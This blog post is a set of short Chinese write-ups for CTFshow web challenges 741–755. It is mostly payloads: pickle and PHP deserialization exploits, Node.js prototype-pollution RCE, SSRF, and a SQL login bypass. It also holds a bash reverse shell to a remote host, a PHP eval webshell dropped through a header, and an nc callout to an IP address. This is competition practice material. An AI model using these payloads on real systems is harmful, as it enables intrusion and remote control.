CTFSHOW大赛原题篇(web741-web755)

CTFshow 反序列化 web277 目录源码题解总结 源码 查看源代码 提示pickle,得知考点是pickle反序列化 题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上就会自动断开 import base64 import pickle class shell(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 119.91.26.229 9999 阅读详情

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web741

ssrf绕过
url=http://0.0.0.0:8080/flag

web742

web743

a[]=1&b[]=2&c[]=1&d[]=2

web744

<?php
class ctfshowCURL{
  private $url="file:///var/www/html/flag%2ephp";
  private $method="send";

}
echo urlencode(serialize(new ctfshowCURL()));

web745

function=file_get_contents&param%5B%5D=/flag.txt

纯属蒙的

web746

wp
https://hi120ki.github.io/blog/posts/20210531/
得先登录成功 (admin/admin)
payload

{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"./readflag\"); //"}

然后访问一下主页就可以了

web747

data=`ls ../`
data=`<../flag.txt`

web748

图片名字叫pickle.jpg,很明显是提示和python的反序列化有关。
随便输入一个值,查看cookie可以发现有内容,估计就是序列化的内容。那我们直接传一段恶意反序列化串就好了。(题目好好像是不能直接用os,所以我们通过__import__将其导入)

import pickle
from base64 import b64encode as b64
import requests
class exp(object):
        def __reduce__(self):
            cmd = 'cat /app/flag.txt'
            return __import__('os').popen, (cmd,)

e = exp()
s = pickle.dumps(e)
payload = b64(s).decode()

url = 'http://850a66a1-dbc9-413f-8068-9c2136d911e6.challenge.ctf.show/'
r = requests.get(url, cookies={'contents': payload})
print(r.text)

web749

flat原型链污染+pug模板rce
当然这也是看了源码才知道的,怎么拿到的源码呢。。。
网上搜的。。。。
payload

//列目录
{"song.name":"ASTa la vista baby",
     "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('ls > static/js/main.js')"
    }
}
//有个ctfshowxxxx文件
{"song.name":"ASTa la vista baby",
     "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat xxx > static/js/main.js')"
    }
}

访问static/js/main.js拿到flag

web750

取反绕过就可以了

?formula=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98%d1%8b%87%8b)

web751

跟之前的web733差不多,只不过这个得先读下index.php,然后发现有个success.php flag就在里面。

<?php 

class access_log
{
	//public $log_file='index.php';
	public $log_file='success.php';

}
echo urlencode(base64_encode(serialize(new access_log())));

web752

具体源码看不到,尝试了很多万能密码,发现下面这种可行。
password=||'1&username=\

web753

本地搭建了一下源码,发现大致的作用如下:
会通过传入url地址下载网页内容
运行内容中的代码(作为linux命令)
代码报错的内容会被写到文件中

这样的话我们其实是可以执行任意命令的。
本来想的是执行ls > index.html之类的命令,然后去访问首页得到运行结果,但是发现得重新启动环境才能生效。
因为没有回显所以最好的方法就是反弹shell了。

script_dir=1&script_name=1&script_url=http://xxx/shell.txt&command_log_file=1

vps上的内容为

bash -i >& /dev/tcp/xxx/4567 0>&1

web754

利用之前web686的无参数rce过的
在这里插入图片描述

POST:
cmd=system(pos(getallheaders()))

X-Forwarded-For:
echo '<?php eval($_POST[1]);?>' > /var/www/html/b.php;

蚁剑连上后运行/readflag
然后会在/tmp下生成一个flag,读取即可。

web755

源码
https://github.com/farazsth98/CTF/tree/master/zer0ptsctf/guestfs_afr/challenge

payload
https://github.com/farazsth98/CTF/blob/master/zer0ptsctf/guestfs_afr/exploit.py

放弃了。。。。

ctfshow python反序列化 刷题记录 先看给的提示:传入的 data 先进行 base64 解码后在进行反序列化,所以我们序列化完成之后还要额外进行 base64 编码先简单的写一个爬虫脚本: 的作用是将请求中的参数添加到 URL 中,以便将这些参数传递给服务器。在这种情况下, 是一个字典,包含了要作为查询字符串添加到 URL 中的参数。最终的 URL 将包含这些参数,以便服务器可以根据这些参数来处理请求。无论是还是,回显都是 backdoor here:说明是一道 ”无回显“ 的题目。有两种方法:反弹 shell 和 的 dns 外带只需将 阅读详情

相关推荐

CTF安全竞赛介绍

Web是CTF中最主要的题型,也是大多数人入门CTF的第一类题目,这类题目涉及常见的Web漏洞,例如:SQL注入,XSS,CSRF,文件上传、包含、下载,代码执行,反序列化等等。也有一些关于网络基础知识的考察:TCP/IP协议,数据包内容和构造等等MISC是CTF中综合性最强的一类题目,也是难度略大的一类,主要涉及隐写,流量审查,取证分析,社会工程学,数据分析与统计等包括古典密码学和现代密码学,古典密码学种类多,趣味性较强;现代密码学对数学,算法,编程能力要求高。

PICACHU+++的博客 9623

ctfshow web入门 php反序列化 web275--web278(无web276)

后面的内容,但是作者这里用了两个。这道题和序列化一点关系都没有。是文件内容,但是外面的这个。python序列化,EXP。这里其实就可以理解为我传。就是输入流得到的内容就是。来混淆,filter的。

2301_81040377的博客 737

CTF —网络安全大赛

💻随着大数据、人工智能的发展,人们步入了新的时代,逐渐走上科技的巅峰。⚔科技是一把双刃剑,网络安全不容忽视,人们的隐私在大数据面前暴露无遗,账户被盗、资金损失、网络诈骗、隐私泄露,种种迹象表明,随着互联网的发展,网络安全需要引起人们的重视。💂互联网安全从其本质上来讲就是互联网上的信息安全。从广义来说,凡是涉及到互联网上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。👨‍👨‍👧‍👦网络安全需要一群网络安全技术人员的维护。而CTF,就是这些人技术竞技的比赛。

weixin_68789096的博客 6790

CTFshow 反序列化

​Session​一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了session​ 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论​机制。​​可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,​ 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体session​ 值会存储于服务器端,这也是与。

starttv的博客 1007

中国境内及周边2839个站点的日降水量逐日降水数据集(1961-2022,0.1°/0.25°/0.5°)1、数据年份:1961-2022,日数据2、数据范围:中国境内及周边2839个站点的日降

CHM_PRE数据集基于中国境内及周边1961至今共2839个站点的日降水观测,在传统的“降水背景场+ 降水比值场”的数据集构建思路上,尝试应用月值降水约束和地形特征校正,并依据中国范围内约4万个高密度站点2015–2019年的日降水量插值后数据进行精度评价。

yushibing717的博客 2790

从BSCAN到BAP:深度解析Tessent MBIST逻辑的协同工作机制与设计考量

本文深入解析了Tessent MBIST逻辑中BSCAN Interface、Logic Group Def、Controller与BAP模块的协同工作机制。文章以一条测试指令的完整路径为例,详细阐述了数据流与控制流如何跨模块、跨时钟域协同工作,并重点探讨了MBIST BAP在协议转换与流量管理中的核心桥梁作用,为芯片内建自测试的集成与调试提供了关键的设计考量和实战技巧。

kappa的博客 482

ctfshow新手杯(web)

前天ctfshow举办的新手杯,里面的部分web题对于我来说还是有必要记录一下的。里面的大师傅都太强了。还有最后一道web,看了官方wp,有种本能的抗拒。这种题涉及的知识点超出了我的学习范围。还得继续积累知识,向大师傅们学习。

m0_62422842的博客 3116

基于禾赛32线雷达和Xsens MTi-G-710 组合导航模块,松灵Scout mini 底盘实现 Cartographer 3D 建图过程

地下车库 Cartongrapher 3D建图

yhy_yhy13053117的博客 3940

CTF网络安全大赛是干什么的?发展史、赛制、赛程介绍,参赛需要学什么?

CTF(Capture The Flag)是一种网络安全竞赛,它模拟了各种信息安全场景,旨在提升参与者的网络安全技能。CTF 赛事通常包含多种类型的挑战,如密码学、逆向工程、网络攻防、Web 安全、二进制利用等。 CTF 的概念最早源于军事领域,用于描述夺取敌方旗帜的行动。在网络安全领域,CTF 起源于 1990 年代中期,当时用于评估网络安全技能和提高安全意识。随着时间的发展,CTF 成为了网络安全领域内一个重要的竞赛活动,吸引了全球众多安全爱好者、专家和学生的参与。CTF 赛事通常分为以下几种类型:Je

白帽子凯哥聊黑客 1万+

利用makehumancommunity导入人体模型到COMSOL里(需要solidwork)

#makehumancommunity #solidwork #COMSOL

qq_41227634的博客 2158

若依框架二次开发——若依 Vue3 版本前端样式优化指南

若依框架二次开发——若依 Vue3 版本前端样式优化指南

bjzhang75的博客 1692

CTF是什么?一文带你读懂网络安全大赛

现在的CTF比赛一般由专业队伍承担比赛平台、命题、赛事组织以及拥有自动化积分系统。参赛队伍需提交参赛申请,并且由DEF CON会议组织者们进行评选。比赛侧重于对计算机底层和系统安全的核心能力。

xx16755498979的博客 3459

BP神经网络回归预测+SHAP可解释分析+新数据预测(MATLAB完整源码)

BP神经网络回归预测+SHAP可解释分析+新数据预测(MATLAB完整源码)

机器学习之心的博客,关注并私信文章链接,获取对应文章源码和数据。 391

2024最全CTF入门指南、CTF夺旗赛及刷题网站(建议收藏!)

CTF(Capture The Flag),中文称为夺旗赛,是网络安全领域中一种备受关注和欢迎的竞赛形式。1. 密码学(Crypto)涉及各种加密算法的分析和破解,包括对称加密(如 AES)、非对称加密(如 RSA)、哈希函数(如 MD5、SHA-256)等。可能需要从密文或加密过程中推导出明文、找出密钥,或者验证数字签名的正确性。2. Web 安全(Web)主要针对网站和 Web 应用程序的安全漏洞进行挖掘和利用。

Python84310366的博客 2682

【AI智能体】Coze 数据库从使用到实战操作详解

Coze 数据库使用到实战详解

congge 5915

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

崭新变异凯撒1!5!-贵州省大学生网络安全攻防大赛【CTF解题赛】

因为变异凯撒每一位字符的ASCII码与前一位的偏移量有关,一般情况下是逐步+1,比如第一位移了5位,第二个移6位,第三位移7位,一直递增,这里的话,得到上面这一串的ASCII码并不难,难的是怎么找到这个规律,这个规律可以从flag的格式来推出,但题目没有明确的给出flag格式,因此只能猜测,这里选择了两个flag格式来猜测,flag{}、ctf{}(猜测思路:flag是因为其它题解出来是这个格式,ctf是解其他题目出现的特殊字符)。,后面的内容应该就是flag了,到这,变异凯撒才算正式开始!

yuqie的博客 661

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

【七日打卡】CTF是什么?一文带你读懂网络安全大赛

📚CTF(Capture The Flag),中文名夺旗赛。🆚网络安全人员之间进行竞技的一种比赛。” 技术本身是没有善恶的,问题的出现是因为人们滥用技术。我们学习黑客攻防、逆向破解等技术是为了更好的了解计算机底层知识,更好的应用到对人类有益的方面来。无论如何,绝不能滥用技术触犯道德和法律的底线。如果你对CTF有兴趣,希望探索计算机的奥秘,了解本质原理,参与到网络安全建设中来,欢迎加入CTF大家庭。🚩创作不易,本人保证所发文章均为精心筹备。💌如需转载,请保留作者信息和博客地址。

2301_79455190的博客 632

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

3分钟了解世界黑客大赛CTF(非常详细),零基础入门到精通,看这一篇就够了

3分钟了解世界黑客大赛CTF(非常详细),零基础入门到精通,看这一篇就够了

2302_76672693的博客 1890

CTF之CTF(夺旗赛)介绍

CTF攻防模式(Attack-Defense)是CTF比赛的一种模式,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。需要具备安全编程的能力,能够编写安全的代码等等。CTF比赛的知识范围大致分为:Web安全、PWN(二进制安全)、逆向工程、Misc(杂项)、Crypto(密码学安全)、网络安全。国外:ctftime.org 是对一个在国际上比较重要的赛事的做一些记录,而且会还会给出赛事的一些权重,以及对这种CTF 知名战队的一些排名。

WenZhongxiang 6098

CTF —— 网络安全大赛

前言随着大数据、人工智能的发展,人们步入了新的时代,逐渐走上科技的巅峰。⚔科技是一把双刃剑,网络安全不容忽视,人们的隐私在大数据面前暴露无遗,账户被盗、资金损失、网络诈骗、隐私泄露,种种迹象表明,随着互联网的发展,网络安全需要引起人们的重视。互联网安全从其本质上来讲就是互联网上的信息安全。从广义来说,凡是涉及到互联网上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。‍ ‍ ‍ 网络安全需要一群网络安全技术人员的维护。而CTF,就是这些人技术竞技的比赛。

Innocence_0的博客 480

27岁想转行网络安全,真的太晚了吗?

为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~😝有需要的小伙伴,可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓👉优快云大礼包🎁:全网最全《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)👈。

wangluo12138的博客 1243

CTF —— 网络安全大赛_ctf网络安全大赛

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。干货主要有:①1000+CTF历届题库(主流和经典的应该都有了)②CTF技术文档(最全中文版)③项目源码(四五十个有趣且经典的练手项目及源码)

baimao__Ch的博客 1220
上一篇: CTFSHOW大赛原题篇(web726-web740)
下一篇: CTFSHOW大赛原题篇(web771-web790)
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值